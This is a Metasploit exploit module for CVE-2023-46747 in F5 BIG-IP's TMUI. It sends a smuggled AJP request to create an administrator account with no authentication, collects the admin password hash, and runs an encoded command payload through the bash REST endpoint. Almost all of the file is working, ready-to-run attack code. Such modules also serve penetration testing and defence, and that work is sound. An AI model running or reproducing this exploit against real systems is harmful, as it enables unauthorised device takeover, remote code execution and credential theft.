##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/apache_j_p'

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Retry

  ApacheJP = Rex::Proto::ApacheJP

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'F5 BIG-IP TMUI AJP Smuggling RCE',
        'Description' => %q{
          This module exploits a flaw in F5's BIG-IP Traffic Management User Interface (TMUI) that enables an external,
          unauthenticated attacker to create an administrative user. Once the user is created, the module uses the new
          account to execute a command payload. Both the exploit and check methods automatically delete any temporary
          accounts that are created.
        },
        'Author' => [
          'Michael Weber', # vulnerability analysis
          'Thomas Hendrickson', # vulnerability analysis
          'Sandeep Singh', # nuclei template
          'Spencer McIntyre' # metasploit module
        ],
        'References' => [
          ['CVE', '2023-46747'],
          ['URL', 'https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/'],
          ['URL', 'https://www.praetorian.com/blog/advisory-f5-big-ip-rce/'],
          ['URL', 'https://my.f5.com/manage/s/article/K000137353'],
          ['URL', 'https://github.com/projectdiscovery/nuclei-templates/pull/8496'],
          ['URL', 'https://attackerkb.com/topics/t52A9pctHn/cve-2023-46747/rapid7-analysis']
        ],
        'DisclosureDate' => '2023-10-26', # Vendor advisory
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD],
        'Privileged' => true,
        'Targets' => [
          [
            'Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD
            }
          ],
        ],
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 443,
          'FETCH_WRITABLE_DIR' => '/tmp'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [
            IOC_IN_LOGS, # user creation events are logged
            CONFIG_CHANGES # a temporary user is created then deleted
          ]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    res = create_user(role: 'Guest')
    return CheckCode::Unknown('No response received from target.') unless res
    return CheckCode::Safe('Failed to create the user.') unless res.code == 200

    changed = update_user_password
    return CheckCode::Safe('Failed to set the new user\'s password.') unless changed

    res = bigip_api_tm_get_user(username)
    return CheckCode::Safe('Failed to validate the new user account.') unless res.get_json_document['kind'] == 'tm:auth:user:userstate'

    CheckCode::Vulnerable('Successfully tested unauthenticated user creation.')
  end

  def exploit
    res = create_user(role: 'Administrator')
    fail_with(Failure::UnexpectedReply, 'Failed to create the user.') unless res&.code == 200

    changed = update_user_password
    fail_with(Failure::UnexpectedReply, 'Failed to set the new user\'s password.') unless changed

    print_good("Admin user was created successfully. Credentials: #{username} - #{password}")

    res = bigip_api_tm_get_user('admin')
    if res&.code == 200 && (hash = res.get_json_document['encryptedPassword']).present?
      print_good("Retrieved the admin hash: #{hash}")
      report_hash('admin', hash)
    end

    logged_in = retry_until_truthy(timeout: 30) do
      res = bigip_api_shared_login
      res&.code == 200
    end
    fail_with(Failure::UnexpectedReply, 'Failed to login.') unless logged_in

    token = res.get_json_document.dig('token', 'token')
    fail_with(Failure::UnexpectedReply, 'Failed to obtain a login token.') if token.blank?

    print_status("Obtained login token: #{token}")

    bash_cmd = "eval $(echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d)"
    # this may or may not timeout
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'mgmt/tm/util/bash'),
      'headers' => {
        'Content-Type' => 'application/json',
        'X-F5-Auth-Token' => token
      },
      'data' => { 'command' => 'run', 'utilCmdArgs' => "-c '#{bash_cmd}'" }.to_json
    )
  end

  def report_hash(user, hash)
    jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)
    service_data = {
      address: rhost,
      port: rport,
      service_name: 'F5 BIG-IP TMUI',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }
    credential_data = {
      module_fullname: fullname,
      origin_type: :service,
      private_data: hash,
      private_type: :nonreplayable_hash,
      jtr_format: jtr_format,
      username: user
    }.merge(service_data)

    credential_core = create_credential(credential_data)

    login_data = {
      core: credential_core,
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def cleanup
    super

    print_status('Deleting the created user...')
    delete_user
  end

  def username
    @username ||= rand_text_alpha(6..8)
  end

  def password
    @password ||= rand_text_alphanumeric(16..20)
  end

  def create_user(role:)
    # for roles and descriptions, see: https://techdocs.f5.com/kb/en-us/products/big-ip_ltm/manuals/product/bigip-user-account-administration-11-6-0/3.html
    send_request_smuggled_ajp({
      'handler' => '/tmui/system/user/create',
      'form_page' => '/tmui/system/user/create.jsp',
      'systemuser-hidden' => "[[\"#{role}\",\"[All]\"]]",
      'systemuser-hidden_before' => '',
      'name' => username,
      'name_before' => '',
      'passwd' => password,
      'passwd_before' => '',
      'finished' => 'x',
      'finished_before' => ''
    })
  end

  def delete_user
    send_request_smuggled_ajp({
      'handler' => '/tmui/system/user/list',
      'form_page' => '/tmui/system/user/list.jsp',
      'checkbox0' => username,
      'checkbox0_before' => 'checked',
      'delete_confirm' => 'Delete',
      'delete_confirm_before' => 'Delete',
      'row_count' => '1',
      'row_count_before' => '1'
    })
  end

  def update_user_password
    new_password = Rex::Text.rand_text_alphanumeric(password.length)
    changed = retry_until_truthy(timeout: 30) do
      res = bigip_api_shared_set_password(username, password, new_password)
      res&.code == 200
    end
    @password = new_password if changed
    changed
  end

  def send_request_smuggled_ajp(query)
    post_data = "204\r\n" # do not change

    timenow = rand_text_numeric(1)
    tmui_dubbuf = rand_text_alpha_upper(11)

    query = query.merge({
      '_bufvalue' => Base64.strict_encode64(OpenSSL::Digest::SHA1.new(tmui_dubbuf + timenow).digest),
      '_bufvalue_before' => '',
      '_timenow' => timenow,
      '_timenow_before' => ''
    })
    query_string = URI.encode_www_form(query).ljust(370, '&')

    # see: https://tomcat.apache.org/tomcat-3.3-doc/ApacheJP.html#prefix-codes
    ajp_forward_request = ApacheJP::ApacheJPForwardRequest.new(
      http_method: ApacheJP::ApacheJPForwardRequest::HTTP_METHOD_POST,
      req_uri: '/tmui/Control/form',
      remote_addr: '127.0.0.1',
      remote_host: 'localhost',
      server_name: 'localhost',
      headers: [
        { header_name: 'Tmui-Dubbuf', header_value: tmui_dubbuf },
        { header_name: 'REMOTEROLE', header_value: '0' },
        { header_name: 'host', header_value: 'localhost' }
      ],
      attributes: [
        { code: ApacheJP::ApacheJPRequestAttribute::CODE_REMOTE_USER, attribute_value: 'admin' },
        { code: ApacheJP::ApacheJPRequestAttribute::CODE_QUERY_STRING, attribute_value: query_string },
        { code: ApacheJP::ApacheJPRequestAttribute::CODE_TERMINATOR }
      ]
    )
    ajp_data = ajp_forward_request.to_binary_s[2...]
    unless ajp_data.length == 0x204 # 516 bytes
      # this is a developer error
      raise "AJP data must be 0x204 bytes, is 0x#{ajp_data.length.to_s(16)} bytes."
    end

    post_data << ajp_data
    post_data << "\r\n0"

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'tmui/login.jsp'),
      'headers' => { 'Transfer-Encoding' => 'chunked, chunked' },
      'data' => post_data
    )
  end

  def bigip_api_shared_set_password(user, old_password, new_password)
    send_request_cgi(
      'method' => 'PATCH',
      'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authz/users', user),
      'headers' => {
        'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}",
        'Content-Type' => 'application/json'
      },
      'data' => { 'oldPassword' => old_password, 'password' => new_password }.to_json
    )
  end

  def bigip_api_shared_login
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authn/login'),
      'headers' => { 'Content-Type' => 'application/json' },
      'data' => { 'username' => username, 'password' => password }.to_json
    )
  end

  def bigip_api_tm_get_user(user)
    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'mgmt/tm/auth/user', user),
      'headers' => {
        'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}",
        'Content-Type' => 'application/json'
      }
    )
  end
end
